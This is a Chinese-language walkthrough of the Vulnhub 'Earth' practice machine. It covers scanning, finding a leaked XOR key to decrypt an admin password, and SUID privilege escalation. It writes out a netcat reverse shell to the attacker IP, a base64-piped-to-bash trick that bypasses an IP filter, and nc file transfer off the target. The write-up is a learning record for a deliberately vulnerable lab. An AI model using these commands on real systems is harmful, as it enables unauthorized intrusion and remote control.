今后打算每周打一台靶机并留下打靶记录
这一台是来自Vulnhub上的Planets系列的靶机:Earth,难度不高
环境
虚拟机软件:VirtualBox 7.0.18
网络连接模式:桥接模式
攻击机:kali-linux,ip为192.168.43.103
目标机:ip为192.168.43.18
渗透过程
扫描当前当前网段存活主机:nmap -sn 192.168.43.103/24
-sn
:发现主机后不进行端口扫描,只打印响应扫描的存活主机
进行端口扫描:nmap --min-rate 10000 -p- 192.168.43.18
--min-rate
:设置扫描的最低速率-p-
:全端口
开放了22,80,443端口,很常规
对开放的端口进一步扫描:nmap -sT -sC -sV -O -p22,80,443 192.168.43.18
-sT
:TCP模式-sC
:使用默认脚本进行扫描,等价于--script=default
-sV
:扫描服务版本号-O
:探测操作系统
基本可以确认是Fedora操作系统
同时我们来看看已开放的服务上是否有常规漏洞的存在:nmap --script=vuln -p22,80,443 192.168.43.18
枚举出了个我们比较在意的路径/admin/
我为了写这篇记录重新打靶,但hosts文件还没改回去,导致这个时候扫出了admin目录,正常情况下是扫不出的
由于开放了web服务,这时我们可以看看网站页面,但发现http页面的呈404,而https的页面如下
源码中也没有什么有用的信息
最后用gobuster
扫描了目录:gobuster dir -u https://192.168.43.18/ -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -k
-k
:用于忽略SSL证书认证
很可惜,还是没有任何信息
似乎陷入了僵局,但倘若将之前收集到的所有信息都重新梳理一遍,就能发现被我们遗漏的细节:网站开启了https服务,会不会是SSL证书为了保护网站安全性,限制我们只能用域名访问?
我们查看下网站的SSL证书,可以找到DNS解析的域名
为了让浏览器将这个域名解析为靶机的ip,我们需要将域名与ip的映射写入hosts文件
hosts文件包含了IP地址和主机名之间的映射,还包括主机名的别名。在没有域名服务器的情况下,系统上的所有网络程序都通过查询该文件来解析对应于某个主机名的IP地址,否则就需要使用DNS服务程序来解决。通常可以将常用的域名和IP地址映射加入到hosts文件中,实现快速方便的访问。
写入后,访问earth.local
域名,可以看到页面变了
简单看了一下页面,是个信息发送的网页,加密后的信息被放在的页面下方,但是我们不清楚加密方式,也没有密钥,因此无法查看之前发送的信息
再来看看另一个域名terratest.earth.local
,直接访问的话内容与earth.local
相同,用https访问得到页面如下
再次目录暴破看看会不会有新发现,这里换了dirb来暴破
earth.local
爆出了admin,terratest.earth.local
爆出了index.html与robots.txt
我们挨个来看
admin目录访问后可以跳转到登陆页面,尝试了简单的sql注入,以失败告终
index.html没有变化,robots.txt内容如下
可以看到最下方有一个testingnotes文件,多次尝试后确认后缀为txt
访问得到内容:
翻译一下
可以提炼出几个关键信息:
- 信息内容是用XOR加密算法来加密的,说明是对称加密,我们获取到密钥就可以进行破解
- testdata.txt这个文件就是加密密钥
- 管理员用户名为terra
我们查看testdata.txt
来获取密钥
回到earth.local
的页面,将之前发送的信息放进Cyber,开始解密
直接进行XOR解密会乱码,我们可以注意到原本的内容是十六进制格式的,说明在加密后又进行了一次十六进制编码才放在页面上,再进行一次十六进制解码即可
第三条信息解密成功,结果如下
没有任何意义的字符串,猜测应该是密码
回到之前的登陆界面,用之前获取的用户名进行登陆,成功登陆
可以看到有命令执行的功能,弹个shell先:nc -e /bin/bash 192.168.43.103 9999
攻击机监听:nc -lvnp 9999
很好,不允许远程连接
一开始我以为是nc用不了,但在我尝试ping了之后才发现原来是ip被禁了
绕过也很简单,base64即可
先加密:echo 'nc -e /bin/bash 192.168.43.103 9999' | base64
传参:echo "bmMgLWUgL2Jpbi9iYXNoIDE5Mi4xNjguNDMuMTAzIDk5OTkK" | base64 -d | bash
成功弹到shell,且当前用户是apache
为了提升shell的舒适度,用python生成一个交互式shell
python -c 'import pty; pty.spawn("/bin/bash")'
locate flag
定位一下flag,之后即可获取第一个flag
提权
先看看自己的用户有哪些权限:sudo -l
,可惜需要密码
查看有哪些能提权的用户:cat /etc/passwd | grep /bin/bash
这里我又尝试了能否获取/etc/shadow
的内容,若可以就能直接拼接密码,可惜权限不足
看了一圈,也没找到任何供我利用的提权手段,只得看wp,提权的内容还是学少了
提权方式:SUID提权
suid(set uid)是linux中的一种特殊权限,suid可以让调用者以文件拥有者的身份运行该文件,所以利用suid提权的核心就是运行root用户所拥有的suid的文件,那么运行该文件的时候就得获得root用户的身份了
查找所有有SUID权限的二进制文件:find / -perm -u=s -type f 2>/dev/null
-perm
:表示随后搜索的文件的权限-u=s
:查找具有suid权限的文件-type f
:表示查找的文件类型是常规文件,而非目录等2>/dev/null
:将标准错误输出丢弃
查找结果:
可以看到有一个reset_root文件,从命名上就很可疑,或许是突破口
我们可以用strings命令来看看这个可执行文件到底做了些什么
可以看到一句话,将root密码重置为Earth
尝试执行该文件,显示重置失败,所有触发器均不存在
这里可以通过逆向工程看看这个可执行文件缺少了哪些触发条件,但是我不会 :(
所以这里使用了ltrace
命令,用于跟踪进程调用库函数的情况
但是目标靶机上没有安装ltrace
,因此需要想办法把这个文件传输到我们自己的机器上
这里用到了nc监听,将接收到的内容重定向到同名二进制文件中,在目标靶机上将该文件的内容通过nc重定向到攻击机监听的端口
- 攻击机:
nc -lvp 8888 > reset_root
- 目标靶机:
nc 192.168.43.103 8888 < /usr/bin/reset_root
接着给本机上的reset_root赋予可执行权限,接着用ltrace
查看该文件缺少哪些触发条件
接着只需要在目标机上创建对应的文件让reset_root可以成功执行,再重新执行即可
可以看到root密码已被成功重置为Earth 之后切换到root用户,flag就在root目录下,这台靶机就拿下了
总结
- 主机发现:
nmap -sn
- 网页目录枚举:
gobuster dir
与dirb
- 由于网站开启了SSL认证,因此可能存在由于访问域名的限制而导致信息收集不完全,通过
/etc/hosts
以修改靶机ip与域名的映射 - 漏洞发现:
robots.txt
信息泄露,对称加密密钥泄露 - 反弹shell:
nc
反弹shell:nc -e /bin/bash [ip] [port]
- base64绕过过滤ip:
echo "[base64]" | base64 -d | bash
- python实现交互式shell:
python -c 'import pty; pty.spawn("/bin/bash")'
- suid提权:
- 查找有suid权限的文件:
find / -perm -u=s -type f 2>/dev/null
- 查找有suid权限的文件:
- nc传输文件:
- 监听:
nc -lvp [port] > [file_name]
- 传输:
nc [ip] [port] < [file_name]
- 监听:
ltrace
跟踪进程调用函数情况,查看可执行文件缺少哪些触发器